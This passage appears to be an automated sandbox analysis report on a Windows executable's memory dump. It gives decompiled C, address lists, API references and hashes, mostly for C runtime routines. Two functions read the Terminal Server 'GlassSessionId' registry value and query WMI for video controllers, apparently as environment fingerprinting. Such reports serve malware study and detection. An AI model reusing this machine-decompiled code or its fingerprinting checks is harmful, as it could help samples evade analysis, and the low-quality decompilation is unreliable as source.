0x0042b1fc
0x0042b1fd
0x0042b200
0x0042b206
0x0042b20b
0x0042b210
0x0042b211
0x0042b214
0x0042b21a
0x0042b222
0x0042b22d
0x0042b138
0x0042b13c
0x0042b143
0x0042b14e
0x0042b14e

APIs

__EH_prolog3.LIBCMT ref: 0042B0DE
std::_Lockit::_Lockit.LIBCPMT ref: 0042B0EB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0042B13C
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0042B18E
std::_Lockit::~_Lockit.LIBCPMT ref: 0042B21A

Strings

bad locale name, xrefs: 0042B151

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Locinfo::_Lockit$H_prolog3Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3885362349-1405518554
Opcode ID: 2ca577620741fc4d0fa9664d843e3fb6eb30bf736c91008a5dbe1d94b836b8d5
Instruction ID: 6c1aac0d3ae764c151c891031ecf3eb922a7cb345cb057f0399f80213b4349f3
Opcode Fuzzy Hash: 2ca577620741fc4d0fa9664d843e3fb6eb30bf736c91008a5dbe1d94b836b8d5
Instruction Fuzzy Hash: 5341D071805B84DECB21DF6AD54074AFBF0FF19714F108A6FE09A93691C778AA04CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0043834E, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 59
registryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E0043834E(void* __ebx) {
				signed int _v8;
				int _v12;
				char _v16;
				char _v20;
				int _v24;
				void* _v28;
				signed int _t17;
				void* _t19;
				long _t21;
				long _t28;
				signed int _t38;

				_t17 =  *0x4eb018; // 0xf39dfde0
				_v8 = _t17 ^ _t38;
				_t19 =  *0x4ed67c(0x1000); // executed
				if(_t19 == 0) {
					_v28 = 0;
					_t21 = RegOpenKeyExW(0x80000002, L"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", 0, 0x20019,  &_v28); // executed
					if(_t21 == 0) {
						_v12 = 4;
						_t28 = RegQueryValueExW(_v28, L"GlassSessionId", 0,  &_v24,  &_v20,  &_v12); // executed
						if(_t28 == 0) {
							_push( *0x4f00cc( &_v16));
							if( *0x4f0098() != 0) {
							}
						}
					}
					if(_v28 != 0) {
						RegCloseKey(_v28); // executed
					}
					goto L8;
				} else {
					L8:
					return L0049CE1D(_v8 ^ _t38);
				}
			}

0x00438354
0x0043835b
0x00438366
0x0043836e
0x00438376
0x0043838a
0x00438392
0x00438397
0x004383b0
0x004383b8
0x004383c4
0x004383cd
0x004383cd
0x004383cd
0x004383b8
0x004383de
0x004383e3
0x004383e3
0x00000000
0x00438370
0x004383e9
0x004383f7
0x004383f7

APIs

KiUserCallbackDispatcher.NTDLL(00001000), ref: 00438366
RegOpenKeyExW.KERNEL32(80000002,SYSTEM\CurrentControlSet\Control\Terminal Server\,00000000,00020019,?), ref: 0043838A
RegQueryValueExW.KERNEL32(?,GlassSessionId,00000000,?,?,?), ref: 004383B0
RegCloseKey.KERNEL32(00000000), ref: 004383E3

Strings

GlassSessionId, xrefs: 004383A8
SYSTEM\CurrentControlSet\Control\Terminal Server\, xrefs: 00438380

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CallbackCloseDispatcherOpenQueryUserValue
String ID: GlassSessionId$SYSTEM\CurrentControlSet\Control\Terminal Server\
API String ID: 3469526933-2312460866
Opcode ID: 27b7b9c2dc77d4a068ed236221e8214ada6d936f26874cf2242a83efc8ec27de
Instruction ID: 1375888261e42abcb995ea69a1410071a9ea076cd39f03993a4a07d28be19a00
Opcode Fuzzy Hash: 27b7b9c2dc77d4a068ed236221e8214ada6d936f26874cf2242a83efc8ec27de
Instruction Fuzzy Hash: 8A113D75A00209AFDB00DFA4DCC9ABFBBBCEB08744F50006ABA02E6251DB749944CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0043F667, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(WQL), ref: 0043F67F
SysAllocString.OLEAUT32(SELECT * FROM Win32_VideoController), ref: 0043F688
SysFreeString.OLEAUT32(00000000), ref: 0043F6D2
SysFreeString.OLEAUT32(00000000), ref: 0043F6DD

Strings

WQL, xrefs: 0043F672
SELECT * FROM Win32_VideoController, xrefs: 0043F681

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: String$AllocFree
String ID: SELECT * FROM Win32_VideoController$WQL
API String ID: 344208780-1929584936
Opcode ID: adc682d61d0390edde9596870ac47e052553ff5eaec596b7a83b409a64427d00
Instruction ID: 4b11ec092bf3f4ee8dee81372b84e2e37407528e88ef9b5c9db828157aa2cc4f
Opcode Fuzzy Hash: adc682d61d0390edde9596870ac47e052553ff5eaec596b7a83b409a64427d00
Instruction Fuzzy Hash: 72118B71A05318AFD324DF64DC89A2BBBE8FF49745F10056EF405CB260CBA1AC04CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004AD519, Relevance: 9.3, APIs: 6, Instructions: 284
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E004AD519(void* __ebx, signed int __edx, void* __edi, void* _a4, signed int _a8) {
				char _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				char _v24;
				void* __esi;
				void* __ebp;
				signed int _t61;
				void* _t64;
				signed int _t67;
				signed int _t69;
				signed int _t70;
				signed int _t73;
				signed int _t76;
				intOrPtr _t78;
				signed int _t79;
				void* _t80;
				signed int _t82;
				void* _t83;
				signed int _t85;
				signed int _t91;
				signed int _t100;
				void* _t102;
				signed int _t105;
				signed int* _t108;
				signed int* _t109;
				intOrPtr* _t111;
				signed int _t116;
				signed int _t118;
				signed int _t121;
				void* _t123;
				signed int _t126;
				signed int _t129;
				signed int _t137;
				signed int _t143;
				void _t145;
				void* _t146;
				void* _t148;
				void* _t150;
				signed int _t151;
				signed int _t152;
				void* _t153;
				signed int _t154;
				signed int _t155;
				signed int _t156;
				intOrPtr _t157;

				_t137 = __edx;
				_t153 = _a4;
				if(_t153 == 0) {
					_t111 = E004A966E();
					_t157 = 0x16;
					 *_t111 = _t157;
					L004A5E77();
					return _t157;
				}
				_push(__edi);
				_t121 = 9;
				memset(_t153, _t61 | 0xffffffff, _t121 << 2);
				_t143 = _a8;
				__eflags = _t143;
				if(_t143 == 0) {
					_t109 = E004A966E();
					_t156 = 0x16;
					 *_t109 = _t156;
					L004A5E77();
					_t76 = _t156;
					L12:
					return _t76;
				}
				_push(__ebx);
				__eflags =  *(_t143 + 4);
				if(__eflags <= 0) {
					if(__eflags < 0) {
						L10:
						_t108 = E004A966E();
						_t155 = 0x16;
						 *_t108 = _t155;
						_t76 = _t155;
						L11:
						goto L12;
					}
					__eflags =  *_t143;
					if( *_t143 < 0) {
						goto L10;
					}
				}
				_t64 = 7;
				__eflags =  *(_t143 + 4) - _t64;
				if(__eflags >= 0) {
					if(__eflags > 0) {
						goto L10;
					}
					__eflags =  *_t143 - 0x93406fff;
					if( *_t143 > 0x93406fff) {
						goto L10;
					}
				}
				E004BA429(0, _t143, _t153); // executed
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				_t67 = L004B99EA( &_v12);
				_pop(_t123);
				__eflags = _t67;
				if(_t67 == 0) {
					_t67 = L004B9A16( &_v16);
					_pop(_t123);
					__eflags = _t67;
					if(_t67 == 0) {
						_t67 = L004B9A42( &_v8);
						_pop(_t123);
						__eflags = _t67;
						if(_t67 == 0) {
							_t116 =  *(_t143 + 4);
							_t126 =  *_t143;
							__eflags = _t116;
							if(__eflags < 0) {
								L28:
								_push(_t143);
								_push(_t153);
								_t76 = L004B9CD7();
								__eflags = _t76;
								if(_t76 != 0) {
									goto L11;
								}
								__eflags = _v12;
								asm("cdq");
								_t145 =  *_t153;
								_t118 = _t137;
								if(__eflags == 0) {
									L32:
									_t78 = _v8;
									L33:
									asm("cdq");
									_t146 = _t145 - _t78;
									asm("sbb ebx, edx");
									_t79 = L004C3F60(_t146, _t118, 0x3c, 0);
									 *_t153 = _t79;
									__eflags = _t79;
									if(_t79 < 0) {
										_t146 = _t146 + 0xffffffc4;
										 *_t153 = _t79 + 0x3c;
										asm("adc ebx, 0xffffffff");
									}
									_t80 = L004C3EB0(_t146, _t118, 0x3c, 0);
									_t119 = _t137;
									asm("cdq");
									_t148 = _t80 +  *(_t153 + 4);
									asm("adc ebx, edx");
									_t82 = L004C3F60(_t148, _t137, 0x3c, 0);
									 *(_t153 + 4) = _t82;
									__eflags = _t82;
									if(_t82 < 0) {
										_t148 = _t148 + 0xffffffc4;
										 *(_t153 + 4) = _t82 + 0x3c;
										asm("adc ebx, 0xffffffff");
									}
									_t83 = L004C3EB0(_t148, _t119, 0x3c, 0);
									_t120 = _t137;
									asm("cdq");
									_t150 = _t83 +  *(_t153 + 8);
									asm("adc ebx, edx");
									_t85 = L004C3F60(_t150, _t137, 0x18, 0);
									 *(_t153 + 8) = _t85;
									__eflags = _t85;
									if(_t85 < 0) {
										_t150 = _t150 + 0xffffffe8;
										 *(_t153 + 8) = _t85 + 0x18;
										asm("adc ebx, 0xffffffff");
									}
									_t129 = L004C3EB0(_t150, _t120, 0x18, 0);
									__eflags = _t137;
									if(__eflags < 0) {
										L48:
										 *(_t153 + 0xc) =  *(_t153 + 0xc) + _t129;
										asm("cdq");
										_t151 = 7;
										_t91 =  *(_t153 + 0xc);
										 *(_t153 + 0x18) = ( *(_t153 + 0x18) + 7 + _t129) % _t151;
										__eflags = _t91;
										if(_t91 > 0) {
											goto L43;
										}
										 *((intOrPtr*)(_t153 + 0x10)) = 0xb;
										 *(_t153 + 0xc) = _t91 + 0x1f;
										_t55 = _t129 + 0x16d; // 0x16d
										 *(_t153 + 0x1c) =  *(_t153 + 0x1c) + _t55;
										 *((intOrPtr*)(_t153 + 0x14)) =  *((intOrPtr*)(_t153 + 0x14)) - 1;
										goto L44;
									} else {
										if(__eflags > 0) {
											L42:
											asm("cdq");
											_t152 = 7;
											_t39 = _t153 + 0xc;
											 *_t39 =  *(_t153 + 0xc) + _t129;
											__eflags =  *_t39;
											 *(_t153 + 0x18) = ( *(_t153 + 0x18) + _t129) % _t152;
											L43:
											_t42 = _t153 + 0x1c;
											 *_t42 =  *(_t153 + 0x1c) + _t129;
											__eflags =  *_t42;
											L44:
											_t76 = 0;
											goto L11;
										}
										__eflags = _t129;
										if(_t129 == 0) {
											__eflags = _t137;
											if(__eflags > 0) {
												goto L44;
											}
											if(__eflags < 0) {
												goto L48;
											}
											__eflags = _t129;
											if(_t129 >= 0) {
												goto L44;
											}
											goto L48;
										}
										goto L42;
									}
								}
								_push(_t153);
								_t100 = E004BA47A(_t118, _t145, _t153, __eflags);
								__eflags = _t100;
								if(_t100 == 0) {
									goto L32;
								}
								_t78 = _v8 + _v16;
								 *((intOrPtr*)(_t153 + 0x20)) = 1;
								goto L33;
							}
							if(__eflags > 0) {
								L20:
								_t102 = 7;
								__eflags = _t116 - _t102;
								if(__eflags > 0) {
									goto L28;
								}
								if(__eflags < 0) {
									L23:
									asm("cdq");
									_push( &_v24);
									asm("sbb ebx, edx");
									_v24 = _t126 - _v8;
									_push(_t153);
									_v20 = _t116;
									_t76 = L004B9CD7();
									__eflags = _t76;
									if(_t76 != 0) {
										goto L11;
									}
									__eflags = _v12 - _t76;
									if(__eflags == 0) {
										goto L44;
									}
									_push(_t153);
									_t105 = E004BA47A(_t116, _t143, _t153, __eflags);
									__eflags = _t105;
									if(_t105 == 0) {
										goto L44;
									}
									asm("cdq");
									_v24 = _v24 - _v16;
									_push( &_v24);
									asm("sbb [ebp-0x10], edx");
									_push(_t153);
									_t76 = L004B9CD7();
									__eflags = _t76;
									if(_t76 != 0) {
										goto L11;
									}
									 *((intOrPtr*)(_t153 + 0x20)) = 1;
									goto L44;
								}
								__eflags = _t126 - 0x933c7b7f;
								if(_t126 >= 0x933c7b7f) {
									goto L28;
								}
								goto L23;
							}
							__eflags = _t126 - 0x3f480;
							if(_t126 <= 0x3f480) {
								goto L28;
							}
							goto L20;
						}
					}
				}
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				L004A5EA4(_t67);
				asm("int3");
				_push(_t153);
				_t69 = L004B9C99(_t123);
				_t154 = _t69;
				__eflags = _t154;
				if(_t154 != 0) {
					_push(_v20);
					_push(_t154); // executed
					_t70 = E004AD519(0, _t137, _t143); // executed
					asm("sbb eax, eax");
					_t73 =  !( ~_t70) & _t154;
					__eflags = _t73;
					return _t73;
				}
				return _t69;
			}

0x004ad519
0x004ad522
0x004ad527
0x004ad529
0x004ad530
0x004ad531
0x004ad533
0x00000000
0x004ad538
0x004ad53c
0x004ad544
0x004ad545
0x004ad547
0x004ad54a
0x004ad54c
0x004ad54e
0x004ad555
0x004ad556
0x004ad558
0x004ad55d
0x004ad58e
0x00000000
0x004ad58e
0x004ad561
0x004ad564
0x004ad567
0x004ad569
0x004ad581
0x004ad581
0x004ad588
0x004ad589
0x004ad58b
0x004ad58d
0x00000000
0x004ad58d
0x004ad56b
0x004ad56d
0x00000000
0x00000000
0x004ad56d
0x004ad571
0x004ad572
0x004ad575
0x004ad577
0x00000000
0x00000000
0x004ad579
0x004ad57f
0x00000000
0x00000000
0x004ad57f
0x004ad594
0x004ad59c
0x004ad5a0
0x004ad5a3
0x004ad5a6
0x004ad5ab
0x004ad5ac
0x004ad5ae
0x004ad5b8
0x004ad5bd
0x004ad5be
0x004ad5c0
0x004ad5ca
0x004ad5cf
0x004ad5d0
0x004ad5d2
0x004ad5d8
0x004ad5db
0x004ad5dd
0x004ad5df
0x004ad660
0x004ad660
0x004ad661
0x004ad662
0x004ad669
0x004ad66b
0x00000000
0x00000000
0x004ad671
0x004ad677
0x004ad678
0x004ad67a
0x004ad67c
0x004ad698
0x004ad698
0x004ad69b
0x004ad69b
0x004ad69c
0x004ad6a2
0x004ad6a6
0x004ad6ab
0x004ad6ad
0x004ad6af
0x004ad6b4
0x004ad6b7
0x004ad6b9
0x004ad6b9
0x004ad6c2
0x004ad6c9
0x004ad6ce
0x004ad6cf
0x004ad6d5
0x004ad6d9
0x004ad6de
0x004ad6e1
0x004ad6e3
0x004ad6e8
0x004ad6eb
0x004ad6ee
0x004ad6ee
0x004ad6f7
0x004ad6fe
0x004ad703
0x004ad704
0x004ad70a
0x004ad70e
0x004ad713
0x004ad716
0x004ad718
0x004ad71d
0x004ad720
0x004ad723
0x004ad723
0x004ad731
0x004ad733
0x004ad735
0x004ad762
0x004ad768
0x004ad76f
0x004ad770
0x004ad773
0x004ad776
0x004ad779
0x004ad77b
0x00000000
0x00000000
0x004ad780
0x004ad787
0x004ad78a
0x004ad790
0x004ad793
0x00000000
0x004ad737
0x004ad737
0x004ad73d
0x004ad744
0x004ad745
0x004ad748
0x004ad748
0x004ad748
0x004ad74b
0x004ad74e
0x004ad74e
0x004ad74e
0x004ad74e
0x004ad751
0x004ad751
0x00000000
0x004ad751
0x004ad739
0x004ad73b
0x004ad758
0x004ad75a
0x00000000
0x00000000
0x004ad75c
0x00000000
0x00000000
0x004ad75e
0x004ad760
0x00000000
0x00000000
0x00000000
0x004ad760
0x00000000
0x004ad73b
0x004ad735
0x004ad67e
0x004ad67f
0x004ad685
0x004ad687
0x00000000
0x00000000
0x004ad68c
0x004ad68f
0x00000000
0x004ad68f
0x004ad5e1
0x004ad5eb
0x004ad5ed
0x004ad5ee
0x004ad5f0
0x00000000
0x00000000
0x004ad5f2
0x004ad5fc
0x004ad5ff
0x004ad605
0x004ad606
0x004ad608
0x004ad60b
0x004ad60c
0x004ad60f
0x004ad616
0x004ad618
0x00000000
0x00000000
0x004ad61e
0x004ad621
0x00000000
0x00000000
0x004ad627
0x004ad628
0x004ad62e
0x004ad630
0x00000000
0x00000000
0x004ad639
0x004ad63a
0x004ad640
0x004ad641
0x004ad644
0x004ad645
0x004ad64c
0x004ad64e
0x00000000
0x00000000
0x004ad654
0x00000000
0x004ad654
0x004ad5f4
0x004ad5fa
0x00000000
0x00000000
0x00000000
0x004ad5fa
0x004ad5e3
0x004ad5e9
0x00000000
0x00000000
0x00000000
0x004ad5e9
0x004ad5d2
0x004ad5c0
0x004ad798
0x004ad799
0x004ad79a
0x004ad79b
0x004ad79c
0x004ad79d
0x004ad7a2
0x004ad7a8
0x004ad7a9
0x004ad7ae
0x004ad7b0
0x004ad7b2
0x004ad7b4
0x004ad7b7
0x004ad7b8
0x004ad7c0
0x004ad7c5
0x004ad7c5
0x00000000
0x004ad7c5
0x004ad7c9

APIs

__allrem.LIBCMT ref: 004AD6A6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004AD6C2
__allrem.LIBCMT ref: 004AD6D9
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004AD6F7
__allrem.LIBCMT ref: 004AD70E
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004AD72C

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 9c68534bc58ca450419da227a5f710ec40ff671fe3a058431bf23149e8cc63be
Instruction ID: 654fca63a13bbe54f081c1f28274ad463728d2dd87b098e0be7b463a35528337
Opcode Fuzzy Hash: 9c68534bc58ca450419da227a5f710ec40ff671fe3a058431bf23149e8cc63be
Instruction Fuzzy Hash: 7C813776E00706ABD7249E29CC41BAB73E8AF26728F24452FF512D7B81E778DD008758

Uniqueness

Uniqueness Score: -1.00%

Function 004AE22E, Relevance: 9.2, APIs: 6, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E004AE22E(void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char* _v44;
				char _v48;
				void* __ecx;
				signed int _t67;
				signed int _t70;
				signed int _t71;
				signed int _t74;
				intOrPtr _t75;
				signed int _t78;
				intOrPtr _t86;
				void* _t95;
				signed int _t97;
				void* _t99;
				void* _t106;
				signed int _t110;
				signed int _t111;
				signed int _t114;
				void* _t118;
				signed int _t121;
				signed int _t123;
				intOrPtr _t124;
				signed int _t126;
				intOrPtr _t128;
				signed int _t129;
				void* _t133;
				void* _t134;
				void* _t136;

				_t118 = __edx;
				_t95 = __ebx;
				_push(_t99);
				if(_a8 != 0) {
					_push(__esi);
					_push(__edi);
					_t121 = 0;
					_t67 = E004BA7E9( &_v8, 0, 0, _a8, 0x7fffffff);
					_t134 = _t133 + 0x14;
					__eflags = _t67;
					if(_t67 == 0) {
						L5:
						_t126 = E004B2F72(_t99, _v8, 2);
						__eflags = _t126;
						if(_t126 == 0) {
							L11:
							E004B2FCF(_t126);
							_t70 = _t121;
							goto L12;
						} else {
							_t67 = E004BA7E9(_t121, _t126, _v8, _a8, 0xffffffff);
							_t134 = _t134 + 0x14;
							__eflags = _t67;
							if(_t67 == 0) {
								_t71 = E004B2387(_a4, _t126); // executed
								_t121 = _t71;
								goto L11;
							} else {
								__eflags = _t67 - 0x16;
								if(_t67 == 0x16) {
									goto L13;
								} else {
									__eflags = _t67 - 0x22;
									if(_t67 != 0x22) {
										goto L11;
									} else {
										goto L13;
									}
								}
							}
						}
					} else {
						__eflags = _t67 - 0x16;
						if(_t67 == 0x16) {
							L13:
							_push(_t121);
							_push(_t121);
							_push(_t121);
							_push(_t121);
							L004A5EA4(_t67);
							asm("int3");
							L0049DF50(0x4e8970, 0x1c);
							_t128 = _a4;
							_t74 = E004AE22E(_t95, _t118, _t121, _t128, _t128, _a8); // executed
							_t106 = _t121;
							_t123 = _t74;
							__eflags = _t123;
							if(_t123 != 0) {
								_t75 = E004B361B(_t95, _t106, _t118);
								_v40 = _t75;
								_v48 =  *((intOrPtr*)(_t75 + 0x4c));
								_t108 =  *((intOrPtr*)(_t75 + 0x48));
								_v44 =  *((intOrPtr*)(_t75 + 0x48));
								_v32 = 0;
								_t78 = L004BAA8A( *((intOrPtr*)(_t75 + 0x48)),  &_v32, 0, 0, _t123, 0,  &_v48);
								_t136 = _t134 + 0x18;
								__eflags = _t78;
								if(_t78 == 0) {
									L22:
									_t97 = E004B3009(_t108, _v32 + 4);
									__eflags = _t97;
									if(_t97 == 0) {
										goto L15;
									} else {
										_t20 = _t97 + 4; // 0x4
										_v36 = _t20;
										_t108 =  &_v48;
										_t123 = 0;
										_t78 = L004BAA8A( &_v48, 0, _t20, _v32, 0, 0xffffffff,  &_v48);
										_t136 = _t136 + 0x18;
										__eflags = _t78;
										if(_t78 == 0) {
											L29:
											_t124 = _v48;
											E004AE1BD(4);
											_pop(_t110);
											_v8 = _v8 & 0x00000000;
											_t129 = _t128 + _t128;
											_t111 = _t110 | 0xffffffff;
											__eflags =  *(_t124 + 0x24 + _t129 * 8);
											if(__eflags != 0) {
												asm("lock xadd [edx], eax");
												if(__eflags == 0) {
													E004B2FCF( *(_t124 + 0x24 + _t129 * 8));
													_pop(_t114);
													 *(_t124 + 0x24 + _t129 * 8) =  *(_t124 + 0x24 + _t129 * 8) & 0x00000000;
													_t111 = _t114 | 0xffffffff;
													__eflags = _t111;
												}
											}
											_t86 = _v40;
											__eflags =  *(_t86 + 0x350) & 0x00000002;
											if(( *(_t86 + 0x350) & 0x00000002) == 0) {
												__eflags =  *0x4eb470 & 0x00000001;
												if(( *0x4eb470 & 0x00000001) == 0) {
													__eflags =  *(_t124 + 0x24 + _t129 * 8);
													if( *(_t124 + 0x24 + _t129 * 8) != 0) {
														asm("lock xadd [eax], ecx");
														__eflags = _t111 == 1;
														if(_t111 == 1) {
															E004B2FCF( *(_t124 + 0x24 + _t129 * 8));
															_t51 = _t124 + 0x24 + _t129 * 8;
															 *_t51 =  *(_t124 + 0x24 + _t129 * 8) & 0x00000000;
															__eflags =  *_t51;
														}
													}
												}
											}
											 *_t97 =  *((intOrPtr*)(_t124 + 0xc));
											 *(_t124 + 0x24 + _t129 * 8) = _t97;
											 *((intOrPtr*)(_t124 + 0x1c + _t129 * 8)) = _v36;
											_v8 = 0xfffffffe;
											E004AE41F();
										} else {
											__eflags = _t78 - 0x16;
											if(_t78 == 0x16) {
												L26:
												_push(_t123);
												_push(_t123);
												_push(_t123);
												_push(_t123);
												_push(_t123);
												goto L20;
											} else {
												__eflags = _t78 - 0x22;
												if(_t78 != 0x22) {
													__eflags = _t78;
													if(_t78 == 0) {
														goto L29;
													} else {
														E004B2FCF(_t97);
														goto L15;
													}
												} else {
													goto L26;
												}
											}
										}
									}
								} else {
									__eflags = _t78 - 0x16;
									if(_t78 == 0x16) {
										L19:
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										L20:
										_t78 = L004A5EA4(_t78);
									} else {
										__eflags = _t78 - 0x22;
										if(_t78 == 0x22) {
											goto L19;
										}
									}
									__eflags = _t78;
									if(_t78 != 0) {
										goto L15;
									} else {
										goto L22;
									}
								}
							} else {
								L15:
							}
							return L0049DF96();
						} else {
							__eflags = _t67 - 0x22;
							if(_t67 == 0x22) {
								goto L13;
							} else {
								goto L5;
							}
						}
					}
				} else {
					_t70 = E004B2387(_a4, 0); // executed
					L12:
					return _t70;
				}
			}

0x004ae22e
0x004ae22e
0x004ae233
0x004ae238
0x004ae248
0x004ae249
0x004ae252
0x004ae25a
0x004ae25f
0x004ae262
0x004ae264
0x004ae270
0x004ae27a
0x004ae27e
0x004ae280
0x004ae2b1
0x004ae2b2
0x004ae2b8
0x00000000
0x004ae282
0x004ae28c
0x004ae291
0x004ae294
0x004ae296
0x004ae2a8
0x004ae2af
0x00000000
0x004ae298
0x004ae298
0x004ae29b
0x00000000
0x004ae29d
0x004ae29d
0x004ae2a0
0x00000000
0x004ae2a2
0x00000000
0x004ae2a2
0x004ae2a0
0x004ae29b
0x004ae296
0x004ae266
0x004ae266
0x004ae269
0x004ae2c0
0x004ae2c0
0x004ae2c1
0x004ae2c2
0x004ae2c3
0x004ae2c5
0x004ae2ca
0x004ae2d2
0x004ae2da
0x004ae2de
0x004ae2e4
0x004ae2e5
0x004ae2e7
0x004ae2e9
0x004ae2f2
0x004ae2f7
0x004ae2fd
0x004ae300
0x004ae303
0x004ae308
0x004ae317
0x004ae31c
0x004ae31f
0x004ae321
0x004ae33b
0x004ae348
0x004ae34a
0x004ae34c
0x00000000
0x004ae34e
0x004ae34e
0x004ae351
0x004ae354
0x004ae35f
0x004ae362
0x004ae367
0x004ae36a
0x004ae36c
0x004ae38f
0x004ae38f
0x004ae394
0x004ae399
0x004ae39a
0x004ae39e
0x004ae3a4
0x004ae3a7
0x004ae3a9
0x004ae3ad
0x004ae3b1
0x004ae3b7
0x004ae3bc
0x004ae3bd
0x004ae3c2
0x004ae3c2
0x004ae3c2
0x004ae3b1
0x004ae3c5
0x004ae3c8
0x004ae3cf
0x004ae3d1
0x004ae3d8
0x004ae3de
0x004ae3e0
0x004ae3e2
0x004ae3e6
0x004ae3e7
0x004ae3ed
0x004ae3f3
0x004ae3f3
0x004ae3f3
0x004ae3f3
0x004ae3e7
0x004ae3e0
0x004ae3d8
0x004ae3fb
0x004ae3fd
0x004ae404
0x004ae408
0x004ae40f
0x004ae36e
0x004ae36e
0x004ae371
0x004ae378
0x004ae378
0x004ae379
0x004ae37a
0x004ae37b
0x004ae37c
0x00000000
0x004ae373
0x004ae373
0x004ae376
0x004ae37f
0x004ae381
0x00000000
0x004ae383
0x004ae384
0x00000000
0x004ae389
0x00000000
0x00000000
0x00000000
0x004ae376
0x004ae371
0x004ae36c
0x004ae323
0x004ae323
0x004ae326
0x004ae32d
0x004ae32d
0x004ae32e
0x004ae32f
0x004ae330
0x004ae331
0x004ae332
0x004ae332
0x004ae328
0x004ae328
0x004ae32b
0x00000000
0x00000000
0x004ae32b
0x004ae337
0x004ae339
0x00000000
0x00000000
0x00000000
0x00000000
0x004ae339
0x004ae2eb
0x004ae2eb
0x004ae2eb
0x004ae41b
0x004ae26b
0x004ae26b
0x004ae26e
0x00000000
0x00000000
0x00000000
0x00000000
0x004ae26e
0x004ae269
0x004ae23a
0x004ae23f
0x004ae2bc
0x004ae2bf
0x004ae2bf

APIs

__cftoe.LIBCMT ref: 004AE25A
__cftoe.LIBCMT ref: 004AE28C

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: e0e76a9253ea4e7d51fbe12c7998101bff1d8e9b8efef846fc61301ff14f88bd
Instruction ID: af23d29fe526a1b16e321764dda8e6b8bd8abf4caf2a54ed849dc3d0cb492b55
Opcode Fuzzy Hash: e0e76a9253ea4e7d51fbe12c7998101bff1d8e9b8efef846fc61301ff14f88bd
Instruction Fuzzy Hash: 1351C932504205ABDF249B6B8D41FAF77A9AF5A324F10425FF82596282DB3DD900966C

Uniqueness

Uniqueness Score: -1.00%

Function 004C2051, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E004C2051(void* __ecx, intOrPtr* _a4, signed int* _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v5;
				char _v6;
				void* _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v36;
				signed int _v44;
				void _v48;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t114;
				void* _t122;
				signed int _t123;
				signed char _t124;
				signed int _t134;
				intOrPtr _t164;
				intOrPtr _t180;
				signed int* _t190;
				signed int _t192;
				char _t197;
				signed int _t203;
				signed int _t206;
				signed int _t217;
				signed int _t219;
				signed int _t225;
				signed int _t227;
				signed int _t234;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed char _t242;
				intOrPtr _t245;
				void* _t248;
				void* _t252;
				void* _t262;
				signed int _t263;
				signed int _t266;
				signed int _t269;
				signed int _t270;
				void* _t272;
				void* _t274;
				void* _t275;
				void* _t277;
				void* _t278;
				void* _t280;
				void* _t284;

				_t262 = L004C1DB4(__ecx,  &_v72, _a16, _a20, _a24);
				_t192 = 6;
				memcpy( &_v48, _t262, _t192 << 2);
				_t274 = _t272 + 0x1c;
				_t248 = _t262 + _t192 + _t192;
				_t263 = _t262 | 0xffffffff;
				if(_v36 != _t263) {
					_t114 = L004BCBD1(_t248, _t263, __eflags);
					_t190 = _a8;
					 *_t190 = _t114;
					__eflags = _t114 - _t263;
					if(_t114 != _t263) {
						_v20 = _v20 & 0x00000000;
						_v24 = 0xc;
						_t275 = _t274 - 0x18;
						 *_a4 = 1;
						_push(6);
						_v16 =  !(_a16 >> 7) & 1;
						_push( &_v24);
						_push(_a12);
						memcpy(_t275,  &_v48, 1 << 2);
						_t197 = 0;
						_t122 = E004C1D1F(); // executed
						_t252 = _t122;
						_t277 = _t275 + 0x2c;
						_v12 = _t252;
						__eflags = _t252 - 0xffffffff;
						if(_t252 != 0xffffffff) {
							L11:
							_t123 = GetFileType(_t252); // executed
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t123 - 2;
								if(_t123 != 2) {
									__eflags = _t123 - 3;
									_t124 = _v48;
									if(_t123 == 3) {
										_t124 = _t124 | 0x00000008;
										__eflags = _t124;
									}
								} else {
